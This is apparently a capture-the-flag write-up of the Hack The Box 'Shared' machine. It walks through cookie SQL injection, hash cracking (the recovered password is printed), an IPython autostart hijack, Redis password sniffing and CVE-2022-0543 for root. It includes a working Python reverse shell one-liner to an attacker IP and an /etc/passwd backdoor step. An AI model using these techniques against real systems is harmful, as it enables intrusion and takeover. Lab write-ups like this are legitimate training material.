I start with nmap as usual:
sudo nmap -Pn -n -T5 -vv -sT -sC -p- shared.htb
Only 3 ports open, all web services. As usual i add the IP/domain to the '/etc/hosts' file.
Now i'm able to connect to the website which is a simple Prestashop e-commerce CMS with an interesting message:
Looks like they got a new checkout system. Let's test it out!
After adding an item to the cart i go to check out and, after adding the subdomain to the "/etc/hosts" file, i'm greeted with this page:
From the looks of the HTTP traffic, the data is contained within the cookie "custom_cart":
I noticed that if i add some particular characters i can break the page, maybe the database uses the cookie as input? If so it might be SQL Injectable.
It has been ages since i used an automated SQLi tool so i decided to use SQLmap this time.
I save the request to a file and URL decode the cookie
I then feed it to sqlmap with no particular fine-tuning options, just to see how well it recognizes the vulnerability
But sure enough, it identifies a UNION based SQL Injection vulnerability.
As usual i stroll around the DB looking for interesting stuff. And what do you know? I stumble upon a nice MD5 hash for the user "james_mason" inside the DB:
Using crackstation.net's rainbow tables, i quckly recovered the password:
Soleil101
With this password i can log in as james_mason via SSH:
Foothold
I use pspy to monitor processes and activites while i enumerate with linpeas. A redis server running as root was quickly identified.
Unfortunately is password protected, I'll get back to it later
While glancing over the pspy results i notice that the user dan_smith (UID=1001) uses Ipython (Python command shell with advanced functionalities) in a specific way:
Before doing anything, dan_smith moves inside the '/opt/scripts_review' folder wich is writable to us since our user is in the developer group.
While researching online for some interesting IPython settings i found this advisory:
The example in the article is pretty straightforward, i have to create a fake user folder containing an IPython autostart script. This way i'll be able to force dan into executing python code.
First i create the structure in the /tmp folder:
With the following python reverse shell:
import sys,socket,os,pty;s=socket.socket();s.connect(("10.10.14.124",int(4455)));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")
Then i copy the python autostart script to the /opt/scripts_review folder. The folder where dan executes IPython
After waiting for a bit i receive the reverse shell, as expected the user is dan_smith:
I steal dan_smith's ssh key and connected via ssh:
Privilege Escalation
After some enumeration, i discover that dan is in the group sysadmin
This allowes me to execute a custom binary called "redis_connector_dev".
This program authenticates to the Redis server and shows some stats.
Since this script probably authenticates with the server, i decided to pull off a trick similar to the one done for the Support HTB Machine:
I downloaded the program and, as expected, it doesn't run locally since there is no Redis server on my kali box.
I then created a listener on the default Redis port (6379). Since most of the communications with a redis server is unencrypted, it is possible to read the password:
With this password, i was finally able to connect to the Redis instance using the readily available "redis-cli" binary.
At this point I'd use the famous redis-rogue server technique (either with a script or manually) to achieve RCE as root and call it a day. But in this particular box the Redis server either kept crashing or couldn't load the malicious extension.
After some digging i discovered a farily recent CVE, CVE-2022-0543.
Basically this vulnerabilty abuses the EVAL function that redis uses to run LUA sandboxed commands. Apparently it's possible to bypass this sandbox and execute commands on the underlying OS:
More information on the EVAL function in Redis: https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html
Github exploit page: https://github.com/aodsec/CVE-2022-0543
Remember kids, keep your arsenal and techniques updated!
But after cloning the repo i noticed in the code that the exploit doesn't support password authentication out of the box:
Nothing to worry about!
In no time i found the answer in a (you guessed it) stackoverflow thread.
Once modified, it's ready to go!
Before running the exploit though, i needed a way to communicate with the local Redis server instance on the target box. We already saw that the Redis port is not reachable from our kali machine.
Of course, port forwarding is the way
I decided to use chisel:
Chisel is a fast TCP/UDP tunnel, transported over HTTP, secured via SSH.
I'll skip the detailed explanation on how chisel works for now, check out its github page if you want more information.
Server setup (kali machine):
Client setup (target box):
Now the exploit can be run against localhost:
And here's RCE, as root!
Now i add a new user to /etc/passwd to quickly log in as root:
(The password is the DES hash of the word 'evil').
Now as i can log in as the user 'brutto'
Happy Hacking ;)